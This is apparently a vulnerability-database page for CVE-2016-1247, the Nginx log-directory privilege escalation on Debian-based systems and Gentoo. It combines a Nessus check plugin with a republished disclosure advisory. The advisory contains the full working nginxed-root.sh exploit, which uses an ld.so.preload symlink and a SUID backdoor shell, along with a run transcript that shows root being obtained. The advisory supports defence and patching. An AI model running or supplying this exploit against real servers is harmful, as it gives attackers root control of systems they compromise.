https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html script_set_attribute( attribute:"see_also", value:"http://www.nessus.org/u?e1440e63" ); script_set_attribute( attribute:"see_also", value:"https://security.gentoo.org/glsa/201701-22" ); script_set_attribute( attribute:"solution", value: "All NGINX users should upgrade to the latest ebuild revision: # emerge --sync # emerge --ask --oneshot --verbose '>=www-servers/nginx-1.10.2-r3'" ); script_set_cvss_base_vector("CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:nginx"); script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux"); script_set_attribute(attribute:"patch_publication_date", value:"2017/01/11"); script_set_attribute(attribute:"plugin_publication_date", value:"2017/01/12"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_family(english:"Gentoo Local Security Checks"); script_dependencies("ssh_get_info.nasl"); script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list"); exit(0); } include("audit.inc"); include("global_settings.inc"); include("qpkg.inc"); if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED); if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo"); if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING); flag = 0; if (qpkg_check(package:"www-servers/nginx", unaffected:make_list("ge 1.10.2-r3"), vulnerable:make_list("lt 1.10.2-r3"))) flag++; if (flag) { if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get()); else security_hole(0); exit(0); } else { tested = qpkg_tests_get(); if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested); else audit(AUDIT_PACKAGE_NOT_INSTALLED, "NGINX"); }

Packetstorm

data source	https://packetstormsecurity.com/files/download/139750/nginx-escalate.txt
id	PACKETSTORM:139750
last seen	2017-01-14
published	2016-11-16
reporter	Dawid Golunski
source	https://packetstormsecurity.com/files/139750/Nginx-Root-Privilege-Escalation.html
title	Nginx Root Privilege Escalation

Seebug

bulletinFamily	exploit
description	- Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - Release date: 15.11.2016 - Revision 1.0 I. VULNERABILITY ------------------------- Nginx (Debian-based distros) - Root Privilege Escalation Fixed in 1.6.2-5+deb8u3 package on Debian, and 1.10.0-0ubuntu0.16.04.3 on Ubuntu 16.04 LTS Update 11.01.2017: Gentoo and its nginx packages were also found affected by this vulnerability: https://security.gentoo.org/glsa/201701-22 II. BACKGROUND ------------------------- "nginx [engine x] is an HTTP and reverse proxy server, a mail proxy server, and a generic TCP/UDP proxy server, originally written by Igor Sysoev. For a long time, it has been running on many heavily loaded Russian sites including Yandex, Mail.Ru, VK, and Rambler. According to Netcraft, nginx served or proxied 27.80% busiest sites in October 2016. Here are some of the success stories: Netflix, Wordpress.com, FastMail.FM." https://nginx.org/en/ III. INTRODUCTION ------------------------- Nginx web server packaging on Debian-based distributions such as Debian or Ubuntu was found to create log directories with insecure permissions which can be exploited by malicious local attackers to escalate their privileges from nginx/web user (www-data) to root. The vulnerability could be easily exploited by attackers who have managed to compromise a web application hosted on Nginx server and gained access to www-data account as it would allow them to escalate their privileges further to root access and fully compromise the system. IV. DESCRIPTION ------------------------- Nginx installed from default repositories on Debian-based systems (Debian, Ubuntu etc.) create nginx log directory at the following location and with the following permissions: ``` root@xenial:~# ls -ld /var/log/nginx/ drwxr-x--- 2 www-data adm 4096 Nov 12 22:32 /var/log/nginx/ root@xenial:~# ls -ld /var/log/nginx/* -rw-r----- 1 www-data adm 0 Nov 12 22:31 /var/log/nginx/access.log -rw-r--r-- 1 root root 0 Nov 12 22:47 /var/log/nginx/error.log ``` As the /var/log/nginx directory is owned by www-data, it is possible for local attackers who have gained access to the system through a vulnerability in a web application running on Nginx (or the server itself) to replace the log files with a symlink to an arbitrary file. Upon nginx startup/restart the logs would be written to the file pointed to by the symlink. This allows attackers to escalate privileges to root. Attackers who have managed to replace the log file with a symlink would have to wait for nginx daemon to re-open the log files. For this to happen nginx service needs to be restarted, or the daemon needs to receive a USR1 process signal. However, the USR1 is sent automatically on default installations of Debian-based systems through logrotate script which calls do_rotate() function as can be seen in the files quoted below: ``` --------[ /etc/logrotate.d/nginx ]-------- /var/log/nginx/.log { daily missingok rotate 52 compress delaycompress notifempty create 0640 www-data adm sharedscripts prerotate if [ -d /etc/logrotate.d/httpd-prerotate ]; then \ run-parts /etc/logrotate.d/httpd-prerotate; \ fi \ endscript postrotate invoke-rc.d nginx rotate >/dev/null 2>&1 endscript } ------------------------------------------ ``` ``` ----------[ /etc/init.d/nginx ]----------- [...] do_rotate() { start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME return 0 } [...] ----------------------------------------- ``` The logrotation script is called daily by cron.daily on default Ubuntu/Debian installations at 6:25am every day. If /etc/logrotate.d/nginx has been set to rotate logs 'daily' then attacker could gain root privileges within 24h upon the next log rotation without any system admin interaction. V. PROOF OF CONCEPT EXPLOIT ------------------------- ``` ------------[ nginxed-root.sh ]-------------- #!/bin/bash # # Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit # nginxed-root.sh (ver. 1.0) # # CVE-2016-1247 # # Discovered and coded by: # # Dawid Golunski # dawid[at]legalhackers.com # # https://legalhackers.com # # Follow https://twitter.com/dawid_golunski for updates on this advisory. # # --- # This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu # etc.) to escalate their privileges from nginx web server user (www-data) to root # through unsafe error log handling. # # The exploit waits for Nginx server to be restarted or receive a USR1 signal. # On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx) # script which is called daily by the cron.daily on default installations. # The restart should take place at 6:25am which is when cron.daily executes. # Attackers can therefore get a root shell automatically in 24h at most without any admin # interaction just by letting the exploit run till 6:25am assuming that daily logrotation # has been configured. # # # Exploit usage: # ./nginxed-root.sh path_to_nginx_error.log # # To trigger logrotation for testing the exploit, you can run the following command: # # /usr/sbin/logrotate -vf /etc/logrotate.d/nginx # # See the full advisory for details at: # https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html # # Video PoC: # https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html # # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/nginxrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() { echo -e "\n[+] Ctrl+C pressed" cleanexit 0 } #intro cat <<_eascii_ _______________________________ < Is your server (N)jinxed ? ;o > ------------------------------- \ \ __---__ _- /--______ __--( / \ )XXXXXXXXXXX\v. .-XXX( O O )XXXXXXXXXXXXXXX- /XXX( U ) XXXXXXX\ /XXXXX( )--_ XXXXXXXXXXX\ /XXXXX/ ( O ) XXXXXX \XXXXX\ XXXXX/ / XXXXXX \__ \XXXXX XXXXXX__/ XXXXXX \__----> ---___ XXX__/ XXXXXX \__ / \- --__/ ___/\ XXXXXX / ___--/= \-\ ___/ XXXXXX '--- XXXXXX \-\/XXX\ XXXXXX /XXXXX \XXXXXXXXX \ /XXXXX/ \XXXXXX > _/XXXXX/ \XXXXX--__/ __-- XXXX/ -XXXXXXXX--------------- XXXXXX- \XXXXXXXXXXXXXXXXXXXXXXXXXX/ ""VXXXXXXXXXXXXXXXXXXV"" _eascii_ echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m" # Args if [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n" echo -e "It seems that this server uses: `ps aux \| grep nginx \| awk -F'log-error=' '{ print $2 }' \| cut -d' ' -f1 \| grep '/'`\n" exit 3 fi # Priv check echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m" id \| grep -q www-data if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n" exit 3 fi # Set target paths ERRORLOG="$1" if [ ! -f $ERRORLOG ]; then echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n" exit 3 fi # [ Exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <<_solibeof_>$PRIVESCSRC #define _GNU_SOURCE #include <stdio.h> #include <sys/stat.h> #include <unistd.h> #include <dlfcn.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> uid_t geteuid(void) { static uid_t (old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); unlink("/etc/ld.so.preload"); } return old_geteuid(); } _solibeof_ /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" if [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" # Safety check if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." exit 2 fi # Symlink the log file rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`" # Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered curl http://localhost/ >/dev/null 2>/dev/null # Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily # rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am) echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..." while :; do sleep 1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload rm -f $ERRORLOG break; fi done # /etc/ld.so.preload should be owned by www-data user at this point # Inject the privesc.so shared library to escalate privileges echo $PRIVESCLIB > /etc/ld.so.preload echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`" echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" chmod 755 /etc/ld.so.preload # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" sudo 2>/dev/null >/dev/null # Check for the rootshell ls -l $BACKDOORPATH ls -l $BACKDOORPATH \| grep rws \| grep -q root if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m" else echo -e "\n[!] Failed to get root" cleanexit 2 fi rm -f $ERRORLOG echo > $ERRORLOG # Use the rootshell to perform cleanup that requires root privilges $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" # Reset the logging to error.log $BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`" # Execute the rootshell echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n" $BACKDOORPATH -p -i # Job done. cleanexit 0 --------------------------------------------------- ``` Example run ~~~~~~~~~~~~~ ``` www-data@jessie:~/html/poc-app/uploads$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@jessie:~/html/poc-app/uploads$ dpkg -l \| grep -i nginx ii nginx 1.6.2-5+deb8u2 all small, powerful, scalable web/proxy server ii nginx-common 1.6.2-5+deb8u2 all small, powerful, scalable web/proxy server - common files ii nginx-full 1.6.2-5+deb8u2+b1 amd64 nginx web/proxy server (standard version) www-data@jessie:~/html/poc-app/uploads$ ls -ld /var/log/nginx drwxr-x--- 2 www-data adm 4096 Nov 15 23:38 /var/log/nginx www-data@jessie:~/html/poc-app/uploads$ ./nginxed-root.sh /var/log/nginx/error.log _______________________________ < Is your server (N)jinxed ? ;o > ------------------------------- \ \ __---__ _- /--______ __--( / \ )XXXXXXXXXXX\v. .-XXX( O O )XXXXXXXXXXXXXXX- /XXX( U ) XXXXXXX\ /XXXXX( )--_ XXXXXXXXXXX\ /XXXXX/ ( O ) XXXXXX \XXXXX\ XXXXX/ / XXXXXX \__ \XXXXX XXXXXX__/ XXXXXX \__----> ---___ XXX__/ XXXXXX \__ / \- --__/ ___/\ XXXXXX / ___--/= \-\ ___/ XXXXXX '--- XXXXXX \-\/XXX\ XXXXXX /XXXXX \XXXXXXXXX \ /XXXXX/ \XXXXXX > _/XXXXX/ \XXXXX--__/ __-- XXXX/ -XXXXXXXX--------------- XXXXXX- \XXXXXXXXXXXXXXXXXXXXXXXXXX/ ""VXXXXXXXXXXXXXXXXXXV"" Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) nginxed-root.sh (ver. 1.0) Discovered and coded by: Dawid Golunski https://legalhackers.com [+] Starting the exploit as: uid=33(www-data) gid=33(www-data) groups=33(www-data) [+] Compiling the privesc shared library (/tmp/privesclib.c) [+] Backdoor/low-priv shell installed at: -rwxr-xr-x 1 www-data www-data 1029624 Nov 15 23:54 /tmp/nginxrootsh [+] The server appears to be (N)jinxed (writable logdir) ! :) Symlink created at: lrwxrwxrwx 1 www-data www-data 18 Nov 15 23:54 /var/log/nginx/error.log -> /etc/ld.so.preload [+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am... [+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: -rw-r--r-- 1 www-data root 19 Nov 15 23:55 /etc/ld.so.preload [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload [+] The /etc/ld.so.preload file now contains: /tmp/privesclib.so [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! -rwsrwxrwx 1 root root 1029624 Nov 15 23:54 /tmp/nginxrootsh [+] Rootshell got assigned root SUID perms at: -rwsrwxrwx 1 root root 1029624 Nov 15 23:54 /tmp/nginxrootsh The server is (N)jinxed ! ;) Got root via Nginx! [+] Spawning the rootshell /tmp/nginxrootsh now! nginxrootsh-4.3# id uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data) nginxrootsh-4.3# whoami root ``` Note: You can force log rotation during testing with: logrotate -f /etc/logrotate.d/nginx Video PoC: ~~~~~~~~~~~~~ https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html VI. BUSINESS IMPACT ------------------------- An attacker who has managed to exploit a vulnerable web application could use the vulnerability to escalate their privileges to root. VII. SYSTEMS AFFECTED ------------------------- Debian: Fixed in Nginx 1.6.2-5+deb8u3 Ubuntu: Fixed in the following updated Nginx package versions on Ubuntu: Ubuntu 16.04 LTS: 1.10.0-0ubuntu0.16.04.3 Ubuntu 14.04 LTS: 1.4.6-1ubuntu3.6 Ubuntu 16.10: 1.10.1-0ubuntu1.1 VIII. SOLUTION ------------------------- Vendors were sent this advisory in advance and released patches prior to the publication of the exploit. Update to the latest nginx packages on your distribution. https://www.debian.org/security/2016/dsa-3701 https://www.ubuntu.com/usn/usn-3114-1/ IX. REFERENCES ------------------------- https://legalhackers.com This advisory: https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html Exploit code: https://legalhackers.com/exploits/CVE-2016-1247/nginxed-root.sh CVE-2016-1247: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1247 Video PoC: https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html Debian security: https://www.debian.org/security/2016/dsa-3701 https://security-tracker.debian.org/tracker/CVE-2016-1247 Ubuntu security: https://www.ubuntu.com/usn/usn-3114-1/ X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com XI. REVISION HISTORY ------------------------- 15.11.2016 - Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.
id	SSV:92538
last seen	2017-11-19
modified	2016-11-16
published	2016-11-16
reporter	Root
source	https://www.seebug.org/vuldb/ssvid-92538
title	Nginx privilege elevation vulnerability (Debian, Ubuntu distributions)

Summary

Vulnerable Configurations

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

Exploit-Db

Nessus

Packetstorm

Seebug

References